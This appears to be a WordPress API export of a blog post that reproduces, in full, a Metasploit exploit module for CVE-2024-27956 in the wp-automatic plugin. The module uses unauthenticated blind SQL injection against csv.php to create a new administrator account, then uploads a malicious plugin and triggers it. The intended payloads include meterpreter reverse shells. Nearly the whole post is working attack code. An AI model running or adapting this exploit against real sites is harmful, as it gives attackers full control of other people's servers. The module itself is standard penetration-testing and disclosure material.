{"id":59999,"date":"2024-10-30T22:15:55","date_gmt":"2024-10-30T19:15:55","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182408\/wp_automatic_sqli_to_rce.rb.txt"},"modified":"2024-10-30T22:15:55","modified_gmt":"2024-10-30T19:15:55","slug":"wordpress-wp-automatic-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-wp-automatic-sql-injection\/","title":{"rendered":"WordPress WP-Automatic SQL Injection"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class SQLExecutionError &lt; RuntimeError; end<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Payload::Php<br \/>include Msf::Exploit::FileDropper<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Remote::HTTP::Wordpress<br \/>include Msf::Exploit::Remote::HTTP::Wordpress::SQLi<\/p>\n<p>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;WordPress wp-automatic Plugin SQLi Admin Creation&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits an unauthenticated SQL injection vulnerability in the WordPress wp-automatic plugin (versions &lt; 3.92.1)<br \/>to achieve remote code execution (RCE). The vulnerability allows the attacker to inject and execute arbitrary SQL commands,<br \/>which can be used to create a malicious administrator account. The password for the new account is hashed using MD5.<br \/>Once the administrator account is created, the attacker can upload and execute a malicious plugin, leading to full control<br \/>over the WordPress site.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Rafie Muhammad&#8217;, # Vulnerability discovery<br \/>&#8216;Valentin Lobstein&#8217; # Metasploit module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-27956&#8217;],<br \/>[&#8216;WPVDB&#8217;, &#8217;53a51e79-a216-4ca3-ac2d-57098fd2ebb5&#8242;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/wp-automatic\/automatic-3920-unauthenticated-sql-injection&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/patchstack.com\/articles\/critical-vulnerabilities-patched-in-wordpress-automatic-plugin\/&#8217;]],<br \/>&#8216;Platform&#8217; =&gt; %w[php unix linux win],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_PHP, ARCH_CMD],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-03-13&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;PHP In-Memory&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;php&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_PHP<br \/># tested with php\/meterpreter\/reverse_tcp<br \/>}<br \/>],<br \/>[<br \/>&#8216;Unix\/Linux Command Shell&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; %w[unix linux],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD<br \/># tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp<br \/>}<br \/>],<br \/>[<br \/>&#8216;Windows Command Shell&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD<br \/># tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp<br \/>}<br \/>]],<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;USERNAME&#8217;, [false, &#8216;Username to create&#8217;, Faker::Internet.username]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [false, &#8216;Password for the new user&#8217;, Faker::Internet.password(min_length: 8)]),<br \/>OptString.new(&#8216;EMAIL&#8217;, [false, &#8216;Email for the new user&#8217;, Faker::Internet.email])<br \/>])<br \/>end<\/p>\n<p>def create_sqli_instance<br \/>@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|<br \/>execute_sql_query(payload)<br \/>end<br \/>end<\/p>\n<p>def execute_sql_query(query)<br \/>formatted_query = query.strip.upcase.start_with?(&#8216;INSERT&#8217;) ? query : &#8220;SELECT (#{query})&#8221;<br \/>response = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;wp-content&#8217;, &#8216;plugins&#8217;, &#8216;wp-automatic&#8217;, &#8216;inc&#8217;, &#8216;csv.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;q&#8217; =&gt; formatted_query,<br \/>&#8216;auth&#8217; =&gt; &#8220;\\0&#8221;,<br \/>&#8216;integ&#8217; =&gt; Rex::Text.md5(formatted_query)<br \/>}<br \/>})<\/p>\n<p>raise SQLExecutionError, &#8220;Failed to execute SQL query: #{query}&#8221; unless response<\/p>\n<p>response<br \/>end<\/p>\n<p>def upload_and_execute_payload(admin_cookie)<br \/>plugin_name = Faker::App.name.gsub(\/\\s+\/, &#8221;).downcase<br \/>payload_name = Faker::Hacker.noun.gsub(\/\\s+\/, &#8221;).downcase<\/p>\n<p>payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, &#8220;#{payload_name}.php&#8221;)<br \/>zip = generate_plugin(plugin_name, payload_name)<\/p>\n<p>print_status(&#8216;Uploading payload&#8230;&#8217;)<\/p>\n<p>uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to upload the payload&#8217;) unless uploaded<\/p>\n<p>print_status(&#8220;Executing the payload at #{payload_uri}&#8230;&#8221;)<\/p>\n<p>register_files_for_cleanup(&#8220;#{payload_name}.php&#8221;, &#8220;#{plugin_name}.php&#8221;)<br \/>register_dir_for_cleanup(&#8220;..\/#{plugin_name}&#8221;)<br \/>send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; payload_uri,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>})<br \/>end<\/p>\n<p>def exploit<br \/>create_sqli_instance<br \/>wordpress_sqli_initialize(@sqli)<\/p>\n<p>begin<br \/>username = datastore[&#8216;USERNAME&#8217;]password = datastore[&#8216;PASSWORD&#8217;]email = datastore[&#8216;EMAIL&#8217;]\n<p>wordpress_sqli_create_user(username, password, email)<br \/>wordpress_sqli_grant_admin_privileges(username)<br \/>admin_cookie = wordpress_login(username, password)<\/p>\n<p>fail_with(Failure::UnexpectedReply, &#8216;Failed to log in to WordPress admin.&#8217;) unless admin_cookie<\/p>\n<p>upload_and_execute_payload(admin_cookie)<br \/>rescue SQLExecutionError =&gt; e<br \/>fail_with(Failure::UnexpectedReply, e.message)<br \/>end<br \/>end<\/p>\n<p>def check<br \/>return CheckCode::Unknown unless wordpress_and_online?<\/p>\n<p>print_status(&#8216;Attempting SQLi test to verify vulnerability&#8230;&#8217;)<\/p>\n<p>create_sqli_instance<\/p>\n<p>begin<br \/>if @sqli.test_vulnerable<br \/>CheckCode::Vulnerable(&#8216;Target is vulnerable to SQLi!&#8217;)<br \/>else<br \/>CheckCode::Safe(&#8216;Target is not vulnerable or the SQLi test failed.&#8217;)<br \/>end<br \/>rescue SQLExecutionError =&gt; e<br \/>print_error(e.message)<br \/>CheckCode::Unknown(&#8216;Failed to verify SQLi vulnerability due to an error.&#8217;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class SQLExecutionError &lt; RuntimeError; end class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Payload::Phpinclude Msf::Exploit::FileDropperinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HTTP::Wordpressinclude Msf::Exploit::Remote::HTTP::Wordpress::SQLi prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;WordPress wp-automatic Plugin SQLi Admin Creation&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits an unauthenticated SQL injection vulnerability in the WordPress wp-automatic plugin (versions &lt; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59999","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59999","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59999"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59999\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59999"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59999"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59999"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}